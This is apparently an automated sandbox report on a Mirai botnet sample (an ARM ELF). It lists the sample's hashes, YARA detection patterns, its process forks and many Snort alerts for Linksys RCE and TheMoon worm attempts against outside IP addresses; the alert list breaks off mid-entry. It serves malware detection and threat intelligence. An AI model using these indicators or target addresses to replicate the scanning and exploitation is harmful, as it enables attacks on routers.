Edit tour

Linux Analysis Report
4F5W85YGoU.elf

Overview

General Information

Sample name:	4F5W85YGoU.elf renamed because original name is a hash value
Original sample name:	50578ff2e8ed25b9fb0a4b2ca0d30d7f.elf
Analysis ID:	1365694
MD5:	50578ff2e8ed25b9fb0a4b2ca0d30d7f
SHA1:	1496997051268e2f151816d46533a07150372372
SHA256:	6023d3a78873210abd5c7cb3c4cb08d0004d29339ea8e6e602724602ba402247
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Contains symbols with names commonly found in malware

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1365694
Start date and time:	2023-12-21 17:52:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	4F5W85YGoU.elf renamed because original name is a hash value
Original Sample Name:	50578ff2e8ed25b9fb0a4b2ca0d30d7f.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: 4F5W85YGoU.elf

Runtime Messages

Command:	/tmp/4F5W85YGoU.elf
PID:	5511
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	love you ~jun0
Standard Error:

Process Tree

system is lnxubuntu20

4F5W85YGoU.elf (PID: 5511, Parent: 5438, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/4F5W85YGoU.elf

4F5W85YGoU.elf New Fork (PID: 5513, Parent: 5511)

4F5W85YGoU.elf New Fork (PID: 5515, Parent: 5513)

4F5W85YGoU.elf New Fork (PID: 5516, Parent: 5513)

4F5W85YGoU.elf New Fork (PID: 5518, Parent: 5513)

4F5W85YGoU.elf New Fork (PID: 5521, Parent: 5513)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
4F5W85YGoU.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
4F5W85YGoU.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
4F5W85YGoU.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x11080:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
5511.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5511.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5511.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x11080:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5515.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5515.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5515.1.00007f21ec017000.00007f21ec02a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x11080:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 1 entries

Snort Signatures

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 193.203.7.19

Timestamp:	192.168.2.15193.203.7.195156080802026102 12/21/23-17:53:37.232076
SID:	2026102
Source Port:	51560
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 77.209.30.197

Timestamp:	192.168.2.1577.209.30.1974452480802018132 12/21/23-17:53:44.722418
SID:	2018132
Source Port:	44524
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 196.51.42.72

Timestamp:	192.168.2.15196.51.42.725218080802027153 12/21/23-17:52:59.247867
SID:	2027153
Source Port:	52180
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 85.237.238.209

Timestamp:	192.168.2.1585.237.238.2094676480802026102 12/21/23-17:54:24.027556
SID:	2026102
Source Port:	46764
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 196.51.42.72

Timestamp:	192.168.2.15196.51.42.725218080802026102 12/21/23-17:52:59.247867
SID:	2026102
Source Port:	52180
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 54.251.161.124

Timestamp:	192.168.2.1554.251.161.1243839880802026102 12/21/23-17:54:55.721882
SID:	2026102
Source Port:	38398
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 193.203.7.19

Timestamp:	192.168.2.15193.203.7.195156080802027153 12/21/23-17:53:37.232076
SID:	2027153
Source Port:	51560
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 138.113.255.40

Timestamp:	192.168.2.15138.113.255.404604880802027153 12/21/23-17:53:20.831254
SID:	2027153
Source Port:	46048
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 45.60.122.103

Timestamp:	192.168.2.1545.60.122.1034847680802026102 12/21/23-17:53:53.925477
SID:	2026102
Source Port:	48476
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 38.152.131.99

Timestamp:	192.168.2.1538.152.131.993829080802018132 12/21/23-17:54:29.252089
SID:	2018132
Source Port:	38290
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 54.251.161.124

Timestamp:	192.168.2.1554.251.161.1243839880802027153 12/21/23-17:54:55.721882
SID:	2027153
Source Port:	38398
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 138.113.255.40

Timestamp:	192.168.2.15138.113.255.404604880802026102 12/21/23-17:53:20.831254
SID:	2026102
Source Port:	46048
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 195.201.76.149

Timestamp:	192.168.2.15195.201.76.1495674080802026102 12/21/23-17:54:45.905951
SID:	2026102
Source Port:	56740
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 85.237.238.209

Timestamp:	192.168.2.1585.237.238.2094676480802027153 12/21/23-17:54:24.027556
SID:	2027153
Source Port:	46764
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 213.81.199.44

Timestamp:	192.168.2.15213.81.199.444356880802027153 12/21/23-17:53:31.656260
SID:	2027153
Source Port:	43568
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 190.12.18.254

Timestamp:	192.168.2.15190.12.18.2543905280802018132 12/21/23-17:54:44.834927
SID:	2018132
Source Port:	39052
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 178.167.1.132

Timestamp:	192.168.2.15178.167.1.1324179680802018132 12/21/23-17:53:38.244551
SID:	2018132
Source Port:	41796
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 162.246.254.174

Timestamp:	192.168.2.15162.246.254.1745406680802027153 12/21/23-17:53:01.514428
SID:	2027153
Source Port:	54066
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 146.59.157.218

Timestamp:	192.168.2.15146.59.157.2185957480802018132 12/21/23-17:54:20.433171
SID:	2018132
Source Port:	59574
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 104.19.116.3

Timestamp:	192.168.2.15104.19.116.35425280802027153 12/21/23-17:52:58.856783
SID:	2027153
Source Port:	54252
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 104.19.116.3

Timestamp:	192.168.2.15104.19.116.35425280802026102 12/21/23-17:52:58.856783
SID:	2026102
Source Port:	54252
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 62.169.187.2

Timestamp:	192.168.2.1562.169.187.23799680802018132 12/21/23-17:54:38.288443
SID:	2018132
Source Port:	37996
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 162.246.254.174

Timestamp:	192.168.2.15162.246.254.1745406680802026102 12/21/23-17:53:01.514428
SID:	2026102
Source Port:	54066
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 118.48.142.122

Timestamp:	192.168.2.15118.48.142.1223646480802027153 12/21/23-17:54:26.380938
SID:	2027153
Source Port:	36464
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 172.66.217.216

Timestamp:	192.168.2.15172.66.217.2164113480802027153 12/21/23-17:53:15.066165
SID:	2027153
Source Port:	41134
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724030280802027153 12/21/23-17:52:59.038841
SID:	2027153
Source Port:	40302
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 118.48.142.122

Timestamp:	192.168.2.15118.48.142.1223646480802026102 12/21/23-17:54:26.380938
SID:	2026102
Source Port:	36464
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 104.25.127.159

Timestamp:	192.168.2.15104.25.127.1595935480802026102 12/21/23-17:53:06.068068
SID:	2026102
Source Port:	59354
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 104.25.127.159

Timestamp:	192.168.2.15104.25.127.1595935480802027153 12/21/23-17:53:06.068068
SID:	2027153
Source Port:	59354
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 109.201.97.248

Timestamp:	192.168.2.15109.201.97.2483495680802018132 12/21/23-17:53:10.601852
SID:	2018132
Source Port:	34956
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 213.81.199.44

Timestamp:	192.168.2.15213.81.199.444356880802026102 12/21/23-17:53:31.656260
SID:	2026102
Source Port:	43568
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 216.105.66.91

Timestamp:	192.168.2.15216.105.66.915566080802018132 12/21/23-17:54:29.306815
SID:	2018132
Source Port:	55660
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 45.60.122.103

Timestamp:	192.168.2.1545.60.122.1034847680802027153 12/21/23-17:53:53.925477
SID:	2027153
Source Port:	48476
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 185.132.49.34

Timestamp:	192.168.2.15185.132.49.343354480802018132 12/21/23-17:53:22.026940
SID:	2018132
Source Port:	33544
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 118.48.142.122

Timestamp:	192.168.2.15118.48.142.1223646480802018132 12/21/23-17:54:26.380938
SID:	2018132
Source Port:	36464
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 104.16.221.215

Timestamp:	192.168.2.15104.16.221.2154947080802018132 12/21/23-17:53:57.724736
SID:	2018132
Source Port:	49470
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 203.229.193.10

Timestamp:	192.168.2.15203.229.193.105529280802018132 12/21/23-17:53:39.600261
SID:	2018132
Source Port:	55292
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 178.167.1.132

Timestamp:	192.168.2.15178.167.1.1324179680802027153 12/21/23-17:53:38.244551
SID:	2027153
Source Port:	41796
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 213.81.199.44

Timestamp:	192.168.2.15213.81.199.444356880802018132 12/21/23-17:53:31.656260
SID:	2018132
Source Port:	43568
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 167.179.82.140

Timestamp:	192.168.2.15167.179.82.1405846080802027153 12/21/23-17:53:33.602081
SID:	2027153
Source Port:	58460
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 178.167.1.132

Timestamp:	192.168.2.15178.167.1.1324179680802026102 12/21/23-17:53:38.244551
SID:	2026102
Source Port:	41796
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 167.179.82.140

Timestamp:	192.168.2.15167.179.82.1405846080802026102 12/21/23-17:53:33.602081
SID:	2026102
Source Port:	58460
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 66.211.78.33

Timestamp:	192.168.2.1566.211.78.334234080802018132 12/21/23-17:53:33.116566
SID:	2018132
Source Port:	42340
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 104.19.116.3

Timestamp:	192.168.2.15104.19.116.35425280802018132 12/21/23-17:52:58.856783
SID:	2018132
Source Port:	54252
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724176280802018132 12/21/23-17:53:06.099032
SID:	2018132
Source Port:	41762
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724030280802018132 12/21/23-17:52:59.038841
SID:	2018132
Source Port:	40302
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 104.17.66.69

Timestamp:	192.168.2.15104.17.66.693538880802018132 12/21/23-17:53:48.219212
SID:	2018132
Source Port:	35388
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 216.105.66.91

Timestamp:	192.168.2.15216.105.66.915566080802026102 12/21/23-17:54:29.306815
SID:	2026102
Source Port:	55660
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 94.64.74.199

Timestamp:	192.168.2.1594.64.74.1995084880802018132 12/21/23-17:54:37.305966
SID:	2018132
Source Port:	50848
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 196.51.42.72

Timestamp:	192.168.2.15196.51.42.725218080802018132 12/21/23-17:52:59.247867
SID:	2018132
Source Port:	52180
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 172.66.217.216

Timestamp:	192.168.2.15172.66.217.2164113480802026102 12/21/23-17:53:15.066165
SID:	2026102
Source Port:	41134
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 45.223.22.6

Timestamp:	192.168.2.1545.223.22.64898880802027153 12/21/23-17:54:07.243281
SID:	2027153
Source Port:	48988
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 85.237.238.209

Timestamp:	192.168.2.1585.237.238.2094676480802018132 12/21/23-17:54:24.027556
SID:	2018132
Source Port:	46764
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 216.105.66.91

Timestamp:	192.168.2.15216.105.66.915566080802027153 12/21/23-17:54:29.306815
SID:	2027153
Source Port:	55660
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 45.223.22.6

Timestamp:	192.168.2.1545.223.22.64898880802026102 12/21/23-17:54:07.243281
SID:	2026102
Source Port:	48988
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 63.248.51.172

Timestamp:	192.168.2.1563.248.51.1724717880802018132 12/21/23-17:54:25.587316
SID:	2018132
Source Port:	47178
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 45.53.160.201

Timestamp:	192.168.2.1545.53.160.2014227480802026102 12/21/23-17:54:52.108778
SID:	2026102
Source Port:	42274
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 54.251.161.124

Timestamp:	192.168.2.1554.251.161.1243839880802018132 12/21/23-17:54:55.721882
SID:	2018132
Source Port:	38398
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 34.43.86.16

Timestamp:	192.168.2.1534.43.86.165849280802018132 12/21/23-17:52:58.903955
SID:	2018132
Source Port:	58492
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 14.94.145.156

Timestamp:	192.168.2.1514.94.145.1563372280802027153 12/21/23-17:54:45.963788
SID:	2027153
Source Port:	33722
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 45.53.160.201

Timestamp:	192.168.2.1545.53.160.2014227480802027153 12/21/23-17:54:52.108778
SID:	2027153
Source Port:	42274
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 14.94.145.156

Timestamp:	192.168.2.1514.94.145.1563372280802026102 12/21/23-17:54:45.963788
SID:	2026102
Source Port:	33722
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724032480802018132 12/21/23-17:53:01.190123
SID:	2018132
Source Port:	40324
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 93.187.242.194

Timestamp:	192.168.2.1593.187.242.1945787680802026102 12/21/23-17:53:01.612618
SID:	2026102
Source Port:	57876
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 195.201.76.149

Timestamp:	192.168.2.15195.201.76.1495674080802027153 12/21/23-17:54:45.905951
SID:	2027153
Source Port:	56740
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 162.246.254.174

Timestamp:	192.168.2.15162.246.254.1745406680802018132 12/21/23-17:53:01.514428
SID:	2018132
Source Port:	54066
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 93.187.242.194

Timestamp:	192.168.2.1593.187.242.1945787680802027153 12/21/23-17:53:01.612618
SID:	2027153
Source Port:	57876
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 168.195.81.33

Timestamp:	192.168.2.15168.195.81.334235080802018132 12/21/23-17:53:15.222373
SID:	2018132
Source Port:	42350
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 38.152.131.99

Timestamp:	192.168.2.1538.152.131.993829080802027153 12/21/23-17:54:29.252089
SID:	2027153
Source Port:	38290
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 38.152.131.99

Timestamp:	192.168.2.1538.152.131.993829080802026102 12/21/23-17:54:29.252089
SID:	2026102
Source Port:	38290
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724176280802027153 12/21/23-17:53:06.099032
SID:	2027153
Source Port:	41762
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 45.223.22.6

Timestamp:	192.168.2.1545.223.22.64898880802018132 12/21/23-17:54:07.243281
SID:	2018132
Source Port:	48988
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 151.202.28.232

Timestamp:	192.168.2.15151.202.28.2324876680802018132 12/21/23-17:53:44.361557
SID:	2018132
Source Port:	48766
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724176280802026102 12/21/23-17:53:06.099032
SID:	2026102
Source Port:	41762
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 13.58.43.172

Timestamp:	192.168.2.1513.58.43.1724032480802026102 12/21/23-17:53:01.190123
SID:	2026102
Source Port:	40324
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.15 - Destination IP: 45.53.160.201

Timestamp:	192.168.2.1545.53.160.2014227480802018132 12/21/23-17:54:52.108778
SID:	2018132
Source Port:	42274
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 104.17.66.69

Timestamp:	192.168.2.15104.17.66.693538880802027153 12/21/23-17:53:48.219212
SID:	2027153
Source Port:	35388
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.15 - Destination IP: 63.248.51.172

Timestamp:	192.168.2.1563.248.51.1724717880802026102 12/21/23-17:54:25.587316
SID:	2026102
Source Port:	47178
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.15 - Destination IP: 63.248.51.172

